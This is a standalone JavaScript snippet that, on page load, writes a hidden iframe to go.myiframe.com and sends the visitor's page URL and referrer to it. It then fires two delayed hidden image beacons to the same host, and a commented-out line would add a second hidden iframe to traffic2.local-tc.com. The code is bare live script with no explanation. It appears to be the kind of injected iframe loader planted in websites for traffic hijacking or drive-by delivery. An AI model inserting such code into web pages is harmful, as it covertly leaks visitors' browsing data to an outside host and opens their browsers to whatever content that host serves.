if(document.referrer) {
	var html = '';
	var frame = window.location.href == top.location.href ? 0 : 1;
	html += '<iframe src="http://go.myiframe.com/direct.php';
	html += '?url=' + encodeURIComponent(document.location);
	html += '&ref=' + encodeURIComponent(document.referrer);
	html += '&frame=' + frame + '&nc=' + Math.random();
	html += '" style="display:none;"></ifr' + 'ame>';
	html += '<img id="MiF1" style="display:none">';
	html += '<img id="MiF2" style="display:none">';
	document.write(html);
	setTimeout('QT("1")', 10000);
	setTimeout('QT("2")', 20000);
}

function QT(t) {
	var path = 'http://go.myiframe.com/quality.php';
	path += '?url=' + encodeURIComponent(document.location);
	path += '&type=' + t + '&nc=' + Math.random();
	document.getElementById('MiF' + t).src = path;	
}
//document.write('<iframe src="http://traffic2.local-tc.com/" style="display:none"></iframe>');